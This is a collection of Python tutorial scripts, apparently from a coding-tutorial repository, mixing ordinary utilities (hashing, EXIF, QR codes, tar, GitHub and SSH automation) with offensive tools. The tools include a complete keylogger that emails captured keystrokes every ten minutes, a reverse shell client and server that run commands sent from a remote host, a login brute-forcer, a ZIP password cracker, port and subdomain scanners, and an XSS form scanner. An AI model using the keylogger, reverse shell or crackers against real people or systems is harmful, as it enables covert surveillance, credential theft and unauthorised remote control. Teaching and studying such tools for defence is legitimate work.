# login failed, wrong credentials + return False + else: + # correct credentials + print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET) + return True + + +# read the wordlist of passwords +passwords = open("wordlist.txt").read().split("\n") +print("[+] Passwords to try:", len(passwords)) + +# iterate over passwords one by one +# if the password is found, break out of the loop +for password in passwords: + if is_correct(password): + break + + + + +import hashlib +import sys + +def read_file(file): + """Reads en entire file and returns file bytes.""" + BUFFER_SIZE = 16384 # 16 kilo bytes + b = b"" + with open(file, "rb") as f: + while True: + # read 16K bytes from the file + bytes_read = f.read(BUFFER_SIZE) + if bytes_read: + # if there is bytes, append them + b += bytes_read + else: + # if not, nothing to do here, break out of the loop + break + return b + +if __name__ == "__main__": + # read some file + file_content = read_file(sys.argv[1]) + # some chksums: + # hash with MD5 (not recommended) + print("MD5:", hashlib.md5(file_content).hexdigest()) + + # hash with SHA-2 (SHA-256 & SHA-512) + print("SHA-256:", hashlib.sha256(file_content).hexdigest()) + + print("SHA-512:", hashlib.sha512(file_content).hexdigest()) + + # hash with SHA-3 + print("SHA-3-256:", hashlib.sha3_256(file_content).hexdigest()) + + print("SHA-3-512:", hashlib.sha3_512(file_content).hexdigest()) + + # hash with BLAKE2 + # 256-bit BLAKE2 (or BLAKE2s) + print("BLAKE2c:", hashlib.blake2s(file_content).hexdigest()) + # 512-bit BLAKE2 (or BLAKE2b) + print("BLAKE2b:", hashlib.blake2b(file_content).hexdigest()) + + + + +import hashlib + +# encode it to bytes using UTF-8 encoding +message = "Some text to hash".encode() + +# hash with MD5 (not recommended) +print("MD5:", hashlib.md5(message).hexdigest()) + +# hash with SHA-2 (SHA-256 & SHA-512) +print("SHA-256:", hashlib.sha256(message).hexdigest()) + +print("SHA-512:", hashlib.sha512(message).hexdigest()) + +# hash with SHA-3 +print("SHA-3-256:", hashlib.sha3_256(message).hexdigest()) + +print("SHA-3-512:", hashlib.sha3_512(message).hexdigest()) + +# hash with BLAKE2 +# 256-bit BLAKE2 (or BLAKE2s) +print("BLAKE2c:", hashlib.blake2s(message).hexdigest()) +# 512-bit BLAKE2 (or BLAKE2b) +print("BLAKE2b:", hashlib.blake2b(message).hexdigest()) + + + + +from PIL import Image +from PIL.ExifTags import TAGS +import sys + +# path to the image or video +imagename = sys.argv[1] + +# read the image data using PIL +image = Image.open(imagename) + +# extract EXIF data +exifdata = image.getexif() + +# iterating over all EXIF data fields +for tag_id in exifdata: + # get the tag name, instead of human unreadable tag id + tag = TAGS.get(tag_id, tag_id) + data = exifdata.get(tag_id) + # decode bytes + if isinstance(data, bytes): + data = data.decode() + print(f"{tag:25}: {data}") + + + + +import keyboard # for keylogs +import smtplib # for sending email using SMTP protocol (gmail) +# Semaphore is for blocking the current thread +# Timer is to make a method runs after an interval amount of time +from threading import Semaphore, Timer + +SEND_REPORT_EVERY = 600 # 10 minutes +EMAIL_ADDRESS = "put_real_address_heregmail.com" +EMAIL_PASSWORD = "put_real_pw" + +class Keylogger: + def __init__(self, interval): + # we gonna pass SEND_REPORT_EVERY to interval + self.interval = interval + # this is the string variable that contains the log of all + # the keystrokes within self.interval + self.log = "" + # for blocking after setting the on_release listener + self.semaphore = Semaphore(0) + + def callback(self, event): + """ + This callback is invoked whenever a keyboard event is occured + (i.e when a key is released in this example) + """ + name = event.name + if len(name) > 1: + # not a character, special key (e.g ctrl, alt, etc.) + # uppercase with [] + if name == "space": + # " " instead of "space" + name = " " + elif name == "enter": + # add a new line whenever an ENTER is pressed + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + # replace spaces with underscores + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + + self.log += name + + def sendmail(self, email, password, message): + # manages a connection to an SMTP server + server = smtplib.SMTP(host="smtp.gmail.com", port=587) + # connect to the SMTP server as TLS mode ( for security ) + server.starttls() + # login to the email account + server.login(email, password) + # send the actual message + server.sendmail(email, email, message) + # terminates the session + server.quit() + + def report(self): + """ + This function gets called every self.interval + It basically sends keylogs and resets self.log variable + """ + if self.log: + # if there is something in log, report it + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + # can print to a file, whatever you want + # print(self.log) + self.log = "" + Timer(interval=self.interval, function=self.report).start() + + def start(self): + # start the keylogger + keyboard.on_release(callback=self.callback) + # start reporting the keylogs + self.report() + # block the current thread, + # since on_release() doesn't block the current thread + # if we don't block it, when we execute the program, nothing will happen + # that is because on_release() will start the listener in a separate thread + self.semaphore.acquire() + + +if __name__ == "__main__": + keylogger = Keylogger(interval=SEND_REPORT_EVERY) + keylogger.start() + + + + +import argparse +import socket # for connecting +from colorama import init, Fore + +from threading import Thread, Lock +from queue import Queue + +# some colors +init() +GREEN = Fore.GREEN +RESET = Fore.RESET +GRAY = Fore.LIGHTBLACK_EX + +# number of threads, feel free to tune this parameter as you wish +N_THREADS = 200 +# thread queue +q = Queue() +print_lock = Lock() + +def port_scan(port): + """ + Scan a port on the global variable host + """ + try: + s = socket.socket() + s.connect((host, port)) + except: + with print_lock: + print(f"{GRAY}{host:15}:{port:5} is closed {RESET}", end='\r') + else: + with print_lock: + print(f"{GREEN}{host:15}:{port:5} is open {RESET}") + finally: + s.close() + + +def scan_thread(): + global q + while True: + # get the port number from the queue + worker = q.get() + # scan that port number + port_scan(worker) + # tells the queue that the scanning for that port + # is done + q.task_done() + + +def main(host, ports): + global q + for t in range(N_THREADS): + # for each thread, start it + t = Thread(target=scan_thread) + # when we set daemon to true, that thread will end when the main thread ends + t.daemon = True + # start the daemon thread + t.start() + + for worker in ports: + # for each port, put that port into the queue + # to start scanning + q.put(worker) + + # wait the threads ( port scanners ) to finish + q.join() + + +if __name__ == "__main__": + # parse some parameters passed + parser = argparse.ArgumentParser(description="Simple port scanner") + parser.add_argument("host", help="Host to scan.") + parser.add_argument("--ports", "-p", dest="port_range", default="1-65535", help="Port range to scan, default is 1-65535 (all ports)") + args = parser.parse_args() + host, port_range = args.host, args.port_range + + start_port, end_port = port_range.split("-") + start_port, end_port = int(start_port), int(end_port) + + ports = [ p for p in range(start_port, end_port)] + + main(host, ports) + + + + +import socket # for connecting +from colorama import init, Fore + +# some colors +init() +GREEN = Fore.GREEN +RESET = Fore.RESET +GRAY = Fore.LIGHTBLACK_EX + +def is_port_open(host, port): + """ + determine whether host has the port open + """ + # creates a new socket + s = socket.socket() + try: + # tries to connect to host using that port + s.connect((host, port)) + # make timeout if you want it a little faster ( less accuracy ) + s.settimeout(0.2) + except: + # cannot connect, port is closed + # return false + return False + else: + # the connection was established, port is open! + return True + +# get the host from the user +host = input("Enter the host:") +# iterate over ports, from 1 to 1024 +for port in range(1, 1025): + if is_port_open(host, port): + print(f"{GREEN}[+] {host}:{port} is open {RESET}") + else: + print(f"{GRAY}[!] {host}:{port} is closed {RESET}", end="\r") + + + + +import socket +import subprocess +import sys + +SERVER_HOST = sys.argv[1] +SERVER_PORT = 5003 +BUFFER_SIZE = 1024 + +# create the socket object +s = socket.socket() +# connect to the server +s.connect((SERVER_HOST, SERVER_PORT)) + +# receive the greeting message +message = s.recv(BUFFER_SIZE).decode() +print("Server:", message) + +while True: + # receive the command from the server + command = s.recv(BUFFER_SIZE).decode() + if command.lower() == "exit": + # if the command is exit, just break out of the loop + break + # execute the command and retrieve the results + output = subprocess.getoutput(command) + # send the results back to the server + s.send(output.encode()) +# close client connection +s.close() + + + + +import socket + +SERVER_HOST = "0.0.0.0" +SERVER_PORT = 5003 + +BUFFER_SIZE = 1024 + +# create a socket object +s = socket.socket() + +# bind the socket to all IP addresses of this host +s.bind((SERVER_HOST, SERVER_PORT)) +# make the PORT reusable +# when you run the server multiple times in Linux, Address already in use error will raise +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +s.listen(5) +print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...") + +# accept any connections attempted +client_socket, client_address = s.accept() +print(f"{client_address[0]}:{client_address[1]} Connected!") + +# just sending a message, for demonstration purposes +message = "Hello and Welcome".encode() +client_socket.send(message) + +while True: + # get the command from prompt + command = input("Enter the command you wanna execute:") + # send the command to the client + client_socket.send(command.encode()) + if command.lower() == "exit": + # if the command is exit, just break out of the loop + break + # retrieve command results + results = client_socket.recv(BUFFER_SIZE).decode() + # print them + print(results) +# close connection to the client +client_socket.close() +# close server connection +s.close() + + + + +import cv2 +import numpy as np +import os + +def to_bin(data): + """Convert data to binary format as string""" + if isinstance(data, str): + return ''.join([ format(ord(i), "08b") for i in data ]) + elif isinstance(data, bytes) or isinstance(data, np.ndarray): + return [ format(i, "08b") for i in data ] + elif isinstance(data, int) or isinstance(data, np.uint8): + return format(data, "08b") + else: + raise TypeError("Type not supported.") + + +def encode(image_name, secret_data): + # read the image + image = cv2.imread(image_name) + # maximum bytes to encode + n_bytes = image.shape[0] * image.shape[1] * 3 // 8 + print("[*] Maximum bytes to encode:", n_bytes) + if len(secret_data) > n_bytes: + raise ValueError("[!] Insufficient bytes, need bigger image or less data.") + print("[*] Encoding data...") + # add stopping criteria + secret_data += "=====" + data_index = 0 + # convert data to binary + binary_secret_data = to_bin(secret_data) + # size of data to hide + data_len = len(binary_secret_data) + + for row in image: + for pixel in row: + # convert RGB values to binary format + r, g, b = to_bin(pixel) + # modify the least significant bit only if there is still data to store + if data_index < data_len: + # least significant red pixel bit + pixel[0] = int(r[:-1] + binary_secret_data[data_index], 2) + data_index += 1 + if data_index < data_len: + # least significant green pixel bit + pixel[1] = int(g[:-1] + binary_secret_data[data_index], 2) + data_index += 1 + if data_index < data_len: + # least significant blue pixel bit + pixel[2] = int(b[:-1] + binary_secret_data[data_index], 2) + data_index += 1 + # if data is encoded, just break out of the loop + if data_index >= data_len: + break + return image + + +def decode(image_name): + print("[+] Decoding...") + # read the image + image = cv2.imread(image_name) + binary_data = "" + for row in image: + for pixel in row: + r, g, b = to_bin(pixel) + binary_data += r[-1] + binary_data += g[-1] + binary_data += b[-1] + + # split by 8-bits + all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ] + # convert from bits to characters + decoded_data = "" + for byte in all_bytes: + decoded_data += chr(int(byte, 2)) + if decoded_data[-5:] == "=====": + break + return decoded_data[:-5] + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.") + parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding") + parser.add_argument("-e", "--encode", help="Encode the following image") + parser.add_argument("-d", "--decode", help="Decode the following image") + + args = parser.parse_args() + secret_data = args.text + if args.encode: + # if the encode argument is specified + input_image = args.encode + print("input_image:", input_image) + # split the absolute path and the file + path, file = os.path.split(input_image) + # split the filename and the image extension + filename, ext = file.split(".") + output_image = os.path.join(path, f"{filename}_encoded.{ext}") + # encode the data into the image + encoded_image = encode(image_name=input_image, secret_data=secret_data) + # save the output image (encoded image) + cv2.imwrite(output_image, encoded_image) + print("[+] Saved encoded image.") + if args.decode: + input_image = args.decode + # decode the secret data from the image + decoded_data = decode(input_image) + print("[+] Decoded data:", decoded_data) + + + + +import requests +from threading import Thread +from queue import Queue + +q = Queue() + +def scan_subdomains(domain): + global q + while True: + # get the subdomain from the queue + subdomain = q.get() + # scan the subdomain + url = f"http://{subdomain}.{domain}/" + try: + requests.get(url) + except requests.ConnectionError: + pass + else: + print("[+] Discovered subdomain:", url) + + # we're done with scanning that subdomain + q.task_done() + + +def main(domain, n_threads, subdomains): + global q + + # fill the queue with all the subdomains + for subdomain in subdomains: + q.put(subdomain) + + for t in range(n_threads): + # start all threads + worker = Thread(target=scan_subdomains, args=(domain,)) + # daemon thread means a thread that will end when the main thread ends + worker.daemon = True + worker.start() + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Faster Subdomain Scanner using Threads") + parser.add_argument("domain", help="Domain to scan for subdomains without protocol (e.g without 'http://' or 'https://')") + parser.add_argument("-l", "--wordlist", help="File that contains all subdomains to scan, line by line. Default is subdomains.txt", + default="subdomains.txt") + parser.add_argument("-t", "--num-threads", help="Number of threads to use to scan the domain. Default is 10", default=10, type=int) + + args = parser.parse_args() + domain = args.domain + wordlist = args.wordlist + num_threads = args.num_threads + + main(domain=domain, n_threads=num_threads, subdomains=open(wordlist).read().splitlines()) + q.join() + + + + +import requests + +# the domain to scan for subdomains +domain = "google.com" + +# read all subdomains +file = open("subdomains.txt") +# read all content +content = file.read() +# split by new lines +subdomains = content.splitlines() + +for subdomain in subdomains: + # construct the url + url = f"http://{subdomain}.{domain}/" + try: + # if this raises an ERROR, that means the subdomain does not exist + requests.get(url) + except requests.ConnectionError: + # if the subdomain does not exist, just pass, print nothing + pass + else: + print("[+] Discovered subdomain:", url) + + + + +import requests +from pprint import pprint +from bs4 import BeautifulSoup as bs +from urllib.parse import urljoin + + +def get_all_forms(url): + """Given a url, it returns all forms from the HTML content""" + soup = bs(requests.get(url).content, "html.parser") + return soup.find_all("form") + + +def get_form_details(form): + """ + This function extracts all possible useful information about an HTML form + """ + details = {} + # get the form action (target url) + action = form.attrs.get("action").lower() + # get the form method (POST, GET, etc.) + method = form.attrs.get("method", "get").lower() + # get all the input details such as type and name + inputs = [] + for input_tag in form.find_all("input"): + input_type = input_tag.attrs.get("type", "text") + input_name = input_tag.attrs.get("name") + inputs.append({"type": input_type, "name": input_name}) + # put everything to the resulting dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + + +def submit_form(form_details, url, value): + """ + Submits a form given in form_details + Params: + form_details (list): a dictionary that contain form information + url (str): the original URL that contain that form + value (str): this will be replaced to all text and search inputs + Returns the HTTP Response after form submission + """ + # construct the full URL (if the url provided in action is relative) + target_url = urljoin(url, form_details["action"]) + # get the inputs + inputs = form_details["inputs"] + data = {} + for input in inputs: + # replace all text and search values with value + if input["type"] == "text" or input["type"] == "search": + input["value"] = value + input_name = input.get("name") + input_value = input.get("value") + if input_name and input_value: + # if input name and value are not None, + # then add them to the data of form submission + data[input_name] = input_value + + if form_details["method"] == "post": + return requests.post(target_url, data=data) + else: + # GET request + return requests.get(target_url, params=data) + + +def scan_xss(url): + """ + Given a url, it prints all XSS vulnerable forms and + returns True if any is vulnerable, False otherwise + """ + # get all the forms from the URL + forms = get_all_forms(url) + print(f"[+] Detected {len(forms)} forms on {url}.") + js_script = "" + # returning value + is_vulnerable = False + # iterate over all forms + for form in forms: + form_details = get_form_details(form) + content = submit_form(form_details, url, js_script).content.decode() + if js_script in content: + print(f"[+] XSS Detected on {url}") + print(f"[*] Form details:") + pprint(form_details) + is_vulnerable = True + # won't break because we want to print other available vulnerable forms + return is_vulnerable + + +if __name__ == "__main__": + import sys + url = sys.argv[1] + print(scan_xss(url)) + + + + +from tqdm import tqdm + +import zipfile +import sys + +# the password list path you want to use +wordlist = sys.argv[2] +# the zip file you want to crack its password +zip_file = sys.argv[1] +# initialize the Zip File object +zip_file = zipfile.ZipFile(zip_file) +# count the number of words in this wordlist +n_words = len(list(open(wordlist, "rb"))) +# print the total number of passwords +print("Total passwords to test:", n_words) +with open(wordlist, "rb") as wordlist: + for word in tqdm(wordlist, total=n_words, unit="word"): + try: + zip_file.extractall(pwd=word.strip()) + except: + continue + else: + print("[+] Password found:", word.decode().strip()) + exit(0) +print("[!] Password not found, try other wordlist.") + + + + +import requests +from pprint import pprint + +# email and password +auth = ("emailexample.com", "ffffffff") + +# get the HTTP Response +res = requests.get("https://secure.veesp.com/api/details", auth=auth) + +# get the account details +account_details = res.json() + +pprint(account_details) + +# get the bought services +services = requests.get('https://secure.veesp.com/api/service', auth=auth).json() +pprint(services) + +# get the upgrade options +upgrade_options = requests.get('https://secure.veesp.com/api/service/32723/upgrade', auth=auth).json() +pprint(upgrade_options) + +# list all bought VMs +all_vms = requests.get("https://secure.veesp.com/api/service/32723/vms", auth=auth).json() +pprint(all_vms) + +# stop a VM automatically +stopped = requests.post("https://secure.veesp.com/api/service/32723/vms/18867/stop", auth=auth).json() +print(stopped) +# {'status': True} + +# start it again +started = requests.post("https://secure.veesp.com/api/service/32723/vms/18867/start", auth=auth).json() +print(started) +# {'status': True} + + + + +import os +import matplotlib.pyplot as plt + + +def get_size_format(b, factor=1024, suffix="B"): + """ + Scale bytes to its proper byte format + e.g: + 1253656 => '1.20MB' + 1253656678 => '1.17GB' + """ + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def get_directory_size(directory): + """Returns the directory size in bytes.""" + total = 0 + try: + # print("[+] Getting the size of", directory) + for entry in os.scandir(directory): + if entry.is_file(): + # if it's a file, use stat() function + total += entry.stat().st_size + elif entry.is_dir(): + # if it's a directory, recursively call this function + total += get_directory_size(entry.path) + except NotADirectoryError: + # if directory isn't a directory, get the file size then + return os.path.getsize(directory) + except PermissionError: + # if for whatever reason we can't open the folder, return 0 + return 0 + return total + + +def plot_pie(sizes, names): + """Plots a pie where sizes is the wedge sizes and names """ + plt.pie(sizes, labels=names, autopct=lambda pct: f"{pct:.2f}%") + plt.title("Different Sub-directory sizes in bytes") + plt.show() + + +if __name__ == "__main__": + import sys + folder_path = sys.argv[1] + + directory_sizes = [] + names = [] + # iterate over all the directories inside this path + for directory in os.listdir(folder_path): + directory = os.path.join(folder_path, directory) + # get the size of this directory (folder) + directory_size = get_directory_size(directory) + if directory_size == 0: + continue + directory_sizes.append(directory_size) + names.append(os.path.basename(directory) + ": " + get_size_format(directory_size)) + + print("[+] Total directory size:", get_size_format(sum(directory_sizes))) + plot_pie(directory_sizes, names) + + + + +import tarfile +from tqdm import tqdm # pip3 install tqdm + + +def decompress(tar_file, path, members=None): + """ + Extracts tar_file and puts the members to path. + If members is None, all members on tar_file will be extracted. + """ + tar = tarfile.open(tar_file, mode="r:gz") + if members is None: + members = tar.getmembers() + # with progress bar + # set the progress bar + progress = tqdm(members) + for member in progress: + tar.extract(member, path=path) + # set the progress description of the progress bar + progress.set_description(f"Extracting {member.name}") + # or use this + # tar.extractall(members=members, path=path) + # close the file + tar.close() + + +def compress(tar_file, members): + """ + Adds files (members) to a tar_file and compress it + """ + # open file for gzip compressed writing + tar = tarfile.open(tar_file, mode="w:gz") + # with progress bar + # set the progress bar + progress = tqdm(members) + for member in progress: + # add file/folder/link to the tar file (compress) + tar.add(member) + # set the progress description of the progress bar + progress.set_description(f"Compressing {member}") + # close the file + tar.close() + + +# compress("compressed.tar.gz", ["test.txt", "test_folder"]) +# decompress("compressed.tar.gz", "extracted") + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="TAR file compression/decompression using GZIP.") + parser.add_argument("method", help="What to do, either 'compress' or 'decompress'") + parser.add_argument("-t", "--tarfile", help="TAR file to compress/decompress, if it isn't specified for compression, the new TAR file will be named after the first file to compress.") + parser.add_argument("-p", "--path", help="The folder to compress into, this is only for decompression. Default is '.' (the current directory)", default="") + parser.add_argument("-f", "--files", help="File(s),Folder(s),Link(s) to compress/decompress separated by ','.") + + args = parser.parse_args() + method = args.method + tar_file = args.tarfile + path = args.path + files = args.files + + # split by ',' to convert into a list + files = files.split(",") if isinstance(files, str) else None + + if method.lower() == "compress": + if not files: + print("Files to compress not provided, exiting...") + exit(1) + elif not tar_file: + # take the name of the first file + tar_file = f"{files[0]}.tar.gz" + compress(tar_file, files) + elif method.lower() == "decompress": + if not tar_file: + print("TAR file to decompress is not provided, nothing to do, exiting...") + exit(2) + decompress(tar_file, path, files) + else: + print("Method not known, please use 'compress/decompress'.") + + + + +import smtplib +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.mime.audio import MIME + +# your credentials +email = "emailexample.com" +password = "password" + +# the sender's email +FROM = "emailexample.com" +# the receiver's email +TO = "toexample.com" +# the subject of the email (subject) +subject = "Just a subject" + +# initialize the message we wanna send +msg = MIMEMultipart() +# set the sender's email +msg["From"] = FROM +# set the receiver's email +msg["To"] = TO +# set the subject +msg["Subject"] = subject +# set the body of the email +text = MIMEText("This email is sent using Python !", "html") +# attach this body to the email +msg.attach(text) +# initialize the SMTP server +server = smtplib.SMTP("smtp.gmail.com", 587) +# connect to the SMTP server as TLS mode (secure) and send EHLO +server.starttls() +# login to the account using the credentials +server.login(email, password) +# send the email +server.sendmail(FROM, TO, msg.as_string()) +# terminate the SMTP session +server.quit() + + + + +import paramiko +import argparse + +parser = argparse.ArgumentParser(description="Python script to execute BASH scripts on Linux boxes remotely.") +parser.add_argument("host", help="IP or domain of SSH Server") +parser.add_argument("-u", "--user", required=True, help="The username you want to access to.") +parser.add_argument("-p", "--password", required=True, help="The password of that user") +parser.add_argument("-b", "--bash", required=True, help="The BASH script you wanna execute") + +args = parser.parse_args() +hostname = args.host +username = args.user +password = args.password +bash_script = args.bash + +# initialize the SSH client +client = paramiko.SSHClient() +# add to known hosts +client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +try: + client.connect(hostname=hostname, username=username, password=password) +except: + print("[!] Cannot connect to the SSH Server") + exit() + +# read the BASH script content from the file +bash_script = open(bash_script).read() +# execute the BASH script +stdin, stdout, stderr = client.exec_command(bash_script) +# read the standard output and print it +print(stdout.read().decode()) +# print errors if there are any +err = stderr.read().decode() +if err: + print(err) +# close the connection +client.close() + + + + +import paramiko + +hostname = "192.168.1.101" +username = "test" +password = "abc123" + +commands = [ + "pwd", + "id", + "uname -a", + "df -h" +] + +# initialize the SSH client +client = paramiko.SSHClient() +# add to known hosts +client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +try: + client.connect(hostname=hostname, username=username, password=password) +except: + print("[!] Cannot connect to the SSH Server") + exit() + +# execute the commands +for command in commands: + print("="*50, command, "="*50) + stdin, stdout, stderr = client.exec_command(command) + print(stdout.read().decode()) + err = stderr.read().decode() + if err: + print(err) + + +client.close() + + + + +from tqdm import tqdm +import requests +import sys + +# the url of file you want to download, passed from command line arguments +url = sys.argv[1] +# read 1024 bytes every time +buffer_size = 1024 +# download the body of response by chunk, not immediately +response = requests.get(url, stream=True) + +# get the total file size +file_size = int(response.headers.get("Content-Length", 0)) + +# get the file name +filename = url.split("/")[-1] + +# progress bar, changing the unit to bytes instead of iteration (default by tqdm) +progress = tqdm(response.iter_content(buffer_size), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) +with open(filename, "wb") as f: + for data in progress: + # write data read to the file + f.write(data) + # update the progress bar manually + progress.update(len(data)) + + + + +import qrcode +import sys + +data = sys.argv[1] +filename = sys.argv[2] + +# generate qr code +img = qrcode.make(data) +# save img to a file +img.save(filename) + + + + +import cv2 +import sys + +filename = sys.argv[1] + +# read the QRCODE image +img = cv2.imread(filename) + +# initialize the cv2 QRCode detector +detector = cv2.QRCodeDetector() + +# detect and decode +data, bbox, straight_qrcode = detector.detectAndDecode(img) + +# if there is a QR code +if bbox is not None: + print(f"QRCode data:\n{data}") + # display the image with lines + # length of bounding box + n_lines = len(bbox) + for i in range(n_lines): + # draw all lines + point1 = tuple(bbox[i][0]) + point2 = tuple(bbox[(i+1) % n_lines][0]) + cv2.line(img, point1, point2, color=(255, 0, 0), thickness=2) + + + +# display the result +cv2.imshow("img", img) +cv2.waitKey(0) +cv2.destroyAllWindows() + + + + +import cv2 + +# initalize the cam +cap = cv2.VideoCapture(0) + +# initialize the cv2 QRCode detector +detector = cv2.QRCodeDetector() + +while True: + _, img = cap.read() + + # detect and decode + data, bbox, _ = detector.detectAndDecode(img) + + # check if there is a QRCode in the image + if bbox is not None: + # display the image with lines + for i in range(len(bbox)): + # draw all lines + cv2.line(img, tuple(bbox[i][0]), tuple(bbox[(i+1) % len(bbox)][0]), color=(255, 0, 0), thickness=2) + + if data: + print("[+] QR Code detected, data:", data) + + # display the result + cv2.imshow("img", img) + + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +from github import Github + +# your github account credentials +username = "username" +password = "password" +# initialize github object +g = Github(username, password) + +# searching for my repository +repo = g.search_repositories("pythoncode tutorials")[0] + +# create a file and commit n push +repo.create_file("test.txt", "commit message", "content of the file") + +# delete that created file +contents = repo.get_contents("test.txt") +repo.delete_file(contents.path, "remove test.txt", contents.sha) + + + + +import requests +from pprint import pprint + +# github username +username = "x4nth055" +# url to request +url = f"https://api.github.com/users/%7Busername%7D" +# make the request and return the json +user_data = requests.get(url).json() +# pretty print JSON data +pprint(user_data) +# get name +name = user_data["name"] +# get blog url if there is +blog = user_data["blog"] +# extract location +location = user_data["location"] +# get email address that is publicly available +email = user_data["email"] +# number of public repositories +public_repos = user_data["public_repos"] +# get number of public gists +public_gists = user_data["public_gists"] +# number of followers +followers = user_data["followers"] +# number of following +following = user_data["following"] +# date of account creation +date_created = user_data["created_at"] +# date of account last update +date_updated = user_data["updated_at"] +# urls +followers_url = user_data["followers_url"] +following_url = user_data["following_url"] + +# print all +print("User:", username) +print("Name:", name) +print("Blog:", blog) +print("Location:", location) +print("Email:", email) +print("Total Public repositories:", public_repos) +print("Total Public Gists:", public_gists) +print("Total followers:", followers) +print("Total following:", following) +print("Date Created:", date_created) +print("Date Updated:", date_updated) + + + + +import base64 +from github import Github +import sys + + +def print_repo(repo): + # repository full name + print("Full name:", repo.full_name) + # repository description + print("Description:", repo.description) + # the date of when the repo was created + print("Date created:", repo.created_at) + # the date of the last git push + print("Date of last push:", repo.pushed_at) + # home website (if available) + print("Home Page:", repo.homepage) + # programming language + print("Language:", repo.language) + # number of forks + print("Number of forks:", repo.forks) + # number of stars + print("Number of stars:", repo.stargazers_count) + print("-"*50) + # repository content (files & directories) + print("Contents:") + for content in repo.get_contents(""): + print(content) + try: + # repo license + print("License:", base64.b64decode(repo.get_license().content.encode()).decode()) + except: + pass + + +# Github username from the command line +username = sys.argv[1] +# pygithub object +g = Github() +# get that user by username +user = g.get_user(username) +# iterate over all public repositories +for repo in user.get_repos(): + print_repo(repo) + print("="*100) + + + + +from github import Github +import base64 + +def print_repo(repo): + # repository full name + print("Full name:", repo.full_name) + # repository description + print("Description:", repo.description) + # the date of when the repo was created + print("Date created:", repo.created_at) + # the date of the last git push + print("Date of last push:", repo.pushed_at) + # home website (if available) + print("Home Page:", repo.homepage) + # programming language + print("Language:", repo.language) + # number of forks + print("Number of forks:", repo.forks) + # number of stars + print("Number of stars:", repo.stargazers_count) + print("-"*50) + # repository content (files & directories) + print("Contents:") + for content in repo.get_contents(""): + print(content) + try: + # repo license + print("License:", base64.b64decode(repo.get_license().content.encode()).decode()) + except: + pass + +# your github account credentials +username = "username" +password = "password" +# initialize github object +g = Github(username, password) +# or use public version +# g = Github() + +# search repositories by name +for repo in g.search_repositories("pythoncode tutorials"): + # print repository details + print_repo(repo) + print("="*100) + +print("="*100) +print("="*100) + +# search by programming language +for i, repo in enumerate(g.search_repositories("language:python")): + print_repo(repo) + print("="*100) + if i == 9: + break + + + + +import ipaddress +# initialize an IPv4 Address +ip = ipaddress.IPv4Address("192.168.1.1") + +# print True if the IP address is global +print("Is global:", ip.is_global) + +# print Ture if the IP address is Link-local +print("Is link-local:", ip.is_link_local) + +# ip.is_reserved +# ip.is_multicast + +# next ip address +print(ip + 1) + +# previous ip address +print(ip - 1) + +# initialize an IPv4 Network +network = ipaddress.IPv4Network("192.168.1.0/24") + +# get the network mask +print("Network mask:", network.netmask) + +# get the broadcast address +print("Broadcast address:", network.broadcast_address) + +# print the number of IP addresses under this network +print("Number of hosts under", str(network), ":", network.num_addresses) + +# iterate over all the hosts under this network +print("Hosts under", str(network), ":") +for host in network.hosts(): + print(host) + +# iterate over the subnets of this network +print("Subnets:") +for subnet in network.subnets(prefixlen_diff=2): + print(subnet) + +# get the supernet of this network +print("Supernet:", network.supernet(prefixlen_diff=1)) + +# prefixlen_diff: An integer, the amount the prefix length of + # the network should be decreased by. For example, given a + # /24 network and a prefixlen_diff of 3, a supernet with a + # /21 netmask is returned. + +# tell if this network is under (or overlaps) 192.168.0.0/16 +print("Overlaps 192.168.0.0/16:", network.overlaps(ipaddress.IPv4Network("192.168.0.0/16"))) + + + + +import keyboard + +# registering a hotkey that replaces one typed text with another +# replaces every "email" followed by a space with my actual email +keyboard.add_abbreviation("email", "rockikzthepythoncode.com") + +# invokes a callback everytime a hotkey is pressed +keyboard.add_hotkey("ctrl+alt+p", lambda: print("CTRL+ALT+P Pressed!")) + +# check if a ctrl is pressed +print(keyboard.is_pressed('ctrl')) + +# press space +keyboard.send("space") + +# sends artificial keyboard events to the OS +# simulating the typing of a given text +# setting 0.1 seconds to wait between keypresses to look fancy +keyboard.write("Python Programming is always fun!", delay=0.1) + +# record all keyboard clicks until esc is clicked +events = keyboard.record('esc') +# play these events +keyboard.play(events) + +# remove all keyboard hooks in use +keyboard.unhook_all() + + + + +from fbchat import Client +from fbchat.models import Message, MessageReaction + +# facebook user credentials +username = "username.or.email" +password = "password" + +# login +client = Client(username, password) + +# get 20 users you most recently talked to +users = client.fetchThreadList() +print(users) + +# get the detailed informations about these users +detailed_users = [ list(client.fetchThreadInfo(user.uid).values())[0] for user in users ] + +# sort by number of messages +sorted_detailed_users = sorted(detailed_users, key=lambda u: u.message_count, reverse=True) + +# print the best friend! +best_friend = sorted_detailed_users[0] + +print("Best friend:", best_friend.name, "with a message count of", best_friend.message_count) + +# message the best friend! +client.send(Message( + text=f"Congratulations {best_friend.name}, you are my best friend with {best_friend.message_count} messages!" + ), + thread_id=best_friend.uid) + +# get all users you talked to in messenger in your account +all_users = client.fetchAllUsers() + +print("You talked with a total of", len(all_users), "users!") + +# let's logout +client.logout() + + + + +import mouse + +# left click +mouse.click('left') + +# right click +mouse.click('right') + +# middle click +mouse.click('middle') + +# get the position of mouse +print(mouse.get_position()) +# In [12]: mouse.get_position() +# Out[12]: (714, 488) + +# presses but doesn't release 